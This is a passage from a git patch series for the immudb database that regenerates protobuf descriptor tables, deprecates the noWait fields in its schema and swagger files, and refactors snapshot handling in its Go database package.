immudb.schema.ScanRequest - 56, // 194: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 195: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 105, // 196: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 197: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 105, // 198: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 107, // 199: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 200: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 131, // 201: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 93, // 202: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 95, // 203: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 6, // 204: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 131, // 205: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 131, // 206: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 131, // 207: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 131, // 208: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 131, // 209: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 131, // 210: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 211: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 131, // 212: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 131, // 213: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 117, // 214: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 111, // 215: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 131, // 216: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 131, // 217: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 112, // 218: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 219: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 131, // 220: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 221: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 222: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 223: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 224: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 225: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 226: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 227: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 228: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 229: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 230: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 231: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 232: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 233: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 234: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 235: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 236: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 237: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 238: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 239: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 240: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 241: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 242: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 243: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 131, // 244: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 131, // 245: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 246: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 86, // 247: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 88, // 248: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 90, // 249: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 101, // 250: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 103, // 251: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 98, // 252: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 131, // 253: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 254: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 255: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 256: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 92, // 257: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 131, // 258: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 105, // 259: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 260: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 105, // 261: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 262: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 105, // 263: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 105, // 264: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 105, // 265: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 266: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 105, // 267: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 268: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 110, // 269: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 112, // 270: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 112, // 271: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 112, // 272: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 97, // 273: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 204, // [204:274] is the sub-list for method output_type - 134, // [134:204] is the sub-list for method input_type - 134, // [134:134] is the sub-list for extension type_name - 134, // [134:134] is the sub-list for extension extendee - 0, // [0:134] is the sub-list for field type_name + 76, // 132: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 80, // 133: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 115, // 134: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 115, // 135: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 131, // 136: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 137: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 138: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 99, // 139: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 100, // 140: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 141: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 142: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 143: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 131, // 144: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 131, // 145: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 116, // 146: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 131, // 147: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 131, // 148: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 107, // 149: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 150: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 151: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 131, // 152: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 153: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 154: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 155: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 156: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 157: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 158: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 159: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 160: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 161: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 131, // 162: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 163: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 164: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 165: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 166: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 167: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 131, // 168: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 131, // 169: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 131, // 170: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 171: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 172: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 173: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 174: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 175: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 176: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 177: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 178: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 85, // 179: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 87, // 180: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 89, // 181: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 131, // 182: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 102, // 183: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 184: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 185: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 186: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 131, // 187: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 188: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 91, // 189: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 131, // 190: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 191: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 105, // 192: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 193: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 105, // 194: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 195: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 196: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 197: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 105, // 198: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 199: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 105, // 200: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 107, // 201: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 202: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 131, // 203: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 93, // 204: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 95, // 205: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 6, // 206: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 131, // 207: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 131, // 208: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 131, // 209: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 131, // 210: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 131, // 211: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 131, // 212: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 213: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 131, // 214: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 131, // 215: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 117, // 216: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 111, // 217: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 131, // 218: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 131, // 219: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 112, // 220: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 221: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 131, // 222: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 223: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 224: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 225: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 226: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 227: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 228: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 229: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 230: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 231: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 232: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 233: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 234: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 235: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 236: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 237: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 238: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 239: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 240: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 241: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 242: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 243: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 244: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 245: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 131, // 246: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 131, // 247: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 248: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 86, // 249: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 88, // 250: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 90, // 251: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 101, // 252: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 103, // 253: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 98, // 254: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 131, // 255: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 256: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 257: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 258: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 92, // 259: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 131, // 260: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 105, // 261: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 262: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 105, // 263: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 264: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 105, // 265: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 105, // 266: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 105, // 267: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 268: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 105, // 269: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 270: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 110, // 271: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 112, // 272: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 112, // 273: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 112, // 274: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 97, // 275: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 206, // [206:276] is the sub-list for method output_type + 136, // [136:206] is the sub-list for method input_type + 136, // [136:136] is the sub-list for extension type_name + 136, // [136:136] is the sub-list for extension extendee + 0, // [0:136] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 45d127ffaf..65bdd5e538 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -306,7 +306,7 @@ message ScanRequest { // indexed, newer transaction may still be pending uint64 sinceTx = 5; - // If set to true, do not wait for indexing to be done before finishing this call + // Deprecated: If set to true, do not wait for indexing to be done before finishing this call bool noWait = 6; // If set to true, results will include seekKey @@ -702,7 +702,7 @@ message ZScanRequest { // entries up to sinceTx to be indexed uint64 sinceTx = 10; - // If set to true, do not wait for the indexer to be up to date + // Deprecated: If set to true, do not wait for the indexer to be up to date bool noWait = 11; // Specify the index of initial entry to be returned by excluding the initial @@ -747,7 +747,7 @@ message TxRequest { // entries up to sinceTx to be indexed, will affect resolving references uint64 sinceTx = 3; - // If set to true, do not wait for the indexer to be up to date + // Deprecated: If set to true, do not wait for the indexer to be up to date bool noWait = 4; // If set to true, do not resolve references (avoid looking up final values if not needed) @@ -799,7 +799,7 @@ message VerifiableTxRequest { // entries up to sinceTx to be indexed, will affect resolving references uint64 sinceTx = 4; - // If set to true, do not wait for the indexer to be up to date + // Deprecated: If set to true, do not wait for the indexer to be up to date bool noWait = 5; // If set to true, do not resolve references (avoid looking up final values if not needed) @@ -823,7 +823,7 @@ message TxScanRequest { // entries up to sinceTx to be indexed, will affect resolving references uint64 sinceTx = 5; - // If set to true, do not wait for the indexer to be up to date + // Deprecated: If set to true, do not wait for the indexer to be up to date bool noWait = 6; } @@ -1403,6 +1403,11 @@ enum TxMode { message NewTxRequest { // Transaction mode TxMode mode = 1; + // An existing snapshot may be reused as long as it includes the specified transaction + // If not specified it will include up to the latest precommitted transaction + NullableUint64 snapshotMustIncludeTxID = 2; + // An existing snapshot may be reused as long as it is not older than the specified timeframe + NullableMilliseconds snapshotRenewalPeriod = 3; } message NewTxResponse { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index febd322768..7e8e500a5c 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -949,7 +949,7 @@ }, { "name": "noWait", - "description": "If set to true, do not wait for the indexer to be up to date.", + "description": "Deprecated: If set to true, do not wait for the indexer to be up to date.", "in": "query", "required": false, "type": "boolean" @@ -1309,7 +1309,7 @@ }, { "name": "noWait", - "description": "If set to true, do not wait for the indexer to be up to date.", + "description": "Deprecated: If set to true, do not wait for the indexer to be up to date.", "in": "query", "required": false, "type": "boolean" @@ -3225,7 +3225,7 @@ }, "noWait": { "type": "boolean", - "title": "If set to true, do not wait for indexing to be done before finishing this call" + "title": "Deprecated: If set to true, do not wait for indexing to be done before finishing this call" }, "inclusiveSeek": { "type": "boolean", @@ -3482,7 +3482,7 @@ }, "noWait": { "type": "boolean", - "title": "If set to true, do not wait for the indexer to be up to date" + "title": "Deprecated: If set to true, do not wait for the indexer to be up to date" } } }, @@ -3874,7 +3874,7 @@ }, "noWait": { "type": "boolean", - "title": "If set to true, do not wait for the indexer to be up to date" + "title": "Deprecated: If set to true, do not wait for the indexer to be up to date" }, "offset": { "type": "string", From 69ef6ad050ae2b7376521007cb267a8f62dd08c8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 24 Dec 2022 17:06:32 -0300 Subject: [PATCH 0093/1062] chore(pkg/database): snapshot reuse changes Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 61 +++++++++-------------------------- pkg/database/database_test.go | 6 +++- pkg/database/scan.go | 24 ++++---------- pkg/database/sorted_set.go | 24 ++++---------- pkg/database/sql.go | 4 +-- 5 files changed, 34 insertions(+), 85 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index ff97d0170d..35467e70b6 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -101,7 +101,7 @@ type DB interface { ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) // SQL-related - NewSQLTx(ctx context.Context) (*sql.SQLTx, error) + NewSQLTx(ctx context.Context, opts *sql.TxOptions) (*sql.SQLTx, error) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) SQLExecPrepared(stmts []sql.SQLStmt, params map[string]interface{}, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) @@ -855,23 +855,15 @@ func (d *db) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { return nil, ErrIsReplica } - currTxID, _ := d.st.CommittedAlh() - - if req.SinceTx > currTxID { - return nil, ErrIllegalArguments - } - - waitUntilTx := req.SinceTx - if waitUntilTx == 0 { - waitUntilTx = currTxID - } + opts := store.DefaultTxOptions() - err := d.WaitForIndexingUpto(waitUntilTx, nil) - if err != nil { - return nil, err + if req.SinceTx > 0 { + opts.WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { + return req.SinceTx + }) } - tx, err := d.st.NewTx(store.DefaultTxOptions()) + tx, err := d.st.NewTx(opts) if err != nil { return nil, err } @@ -909,32 +901,16 @@ func (d *db) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { // GetAll ... func (d *db) GetAll(req *schema.KeyListRequest) (*schema.Entries, error) { - currTxID, _ := d.st.CommittedAlh() - - if req.SinceTx > currTxID { - return nil, ErrIllegalArguments - } - - waitUntilTx := req.SinceTx - if waitUntilTx == 0 { - waitUntilTx = currTxID - } - - err := d.WaitForIndexingUpto(waitUntilTx, nil) + snap, err := d.snapshotSince(req.SinceTx) if err != nil { return nil, err } - - snapshot, err := d.st.SnapshotRenewIfOlderThanTs(waitUntilTx) - if err != nil { - return nil, err - } - defer snapshot.Close() + defer snap.Close() list := &schema.Entries{} for _, key := range req.Keys { - e, err := d.get(EncodeKey(key), snapshot) + e, err := d.get(EncodeKey(key), snap) if err == nil || err == store.ErrKeyNotFound { if e != nil { list.Entries = append(list.Entries, e) @@ -978,7 +954,7 @@ func (d *db) TxByID(req *schema.TxRequest) (*schema.Tx, error) { defer d.releaseTx(tx) if !req.KeepReferencesUnresolved { - snap, err = d.snapshotSince(req.SinceTx, req.NoWait) + snap, err = d.snapshotSince(req.SinceTx) if err != nil { return nil, err } @@ -994,7 +970,7 @@ func (d *db) TxByID(req *schema.TxRequest) (*schema.Tx, error) { return d.serializeTx(tx, req.EntriesSpec, snap) } -func (d *db) snapshotSince(txID uint64, noWait bool) (*store.Snapshot, error) { +func (d *db) snapshotSince(txID uint64) (*store.Snapshot, error) { currTxID, _ := d.st.CommittedAlh() if txID > currTxID { @@ -1006,14 +982,7 @@ func (d *db) snapshotSince(txID uint64, noWait bool) (*store.Snapshot, error) { waitUntilTx = currTxID } - if !noWait { - err := d.st.WaitForIndexingUpto(waitUntilTx, nil) - if err != nil { - return nil, err - } - } - - return d.st.SnapshotRenewIfOlderThanTs(waitUntilTx) + return d.st.SnapshotMustIncludeTxID(waitUntilTx) } func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot) (*schema.Tx, error) { @@ -1413,7 +1382,7 @@ func (d *db) VerifiableTxByID(req *schema.VerifiableTxRequest) (*schema.Verifiab var err error if !req.KeepReferencesUnresolved { - snap, err = d.snapshotSince(req.SinceTx, req.NoWait) + snap, err = d.snapshotSince(req.SinceTx) if err != nil { return nil, err } @@ -1490,7 +1459,7 @@ func (d *db) TxScan(req *schema.TxScanRequest) (*schema.TxList, error) { limit = d.maxResultSize } - snap, err := d.snapshotSince(req.SinceTx, req.NoWait) + snap, err := d.snapshotSince(req.SinceTx) if err != nil { return nil, err } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 9bc28e80af..f5fbe5c394 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -93,7 +93,11 @@ func (h *dummyMultidbHandler) UseDatabase(ctx context.Context, db string) error return sql.ErrNoSupported } -func (h *dummyMultidbHandler) ExecPreparedStmts(ctx context.Context, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, committedTxs []*sql.SQLTx, err error) { +func (h *dummyMultidbHandler) ExecPreparedStmts( + ctx context.Context, + opts *sql.TxOptions, + stmts []sql.SQLStmt, + params map[string]interface{}) (ntx *sql.SQLTx, committedTxs []*sql.SQLTx, err error) { return nil, nil, sql.ErrNoSupported } diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 0d799f9627..6c6b53c555 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -39,30 +39,12 @@ func (d *db) Scan(req *schema.ScanRequest) (*schema.Entries, error) { ErrResultSizeLimitExceeded, req.Limit, d.maxResultSize) } - 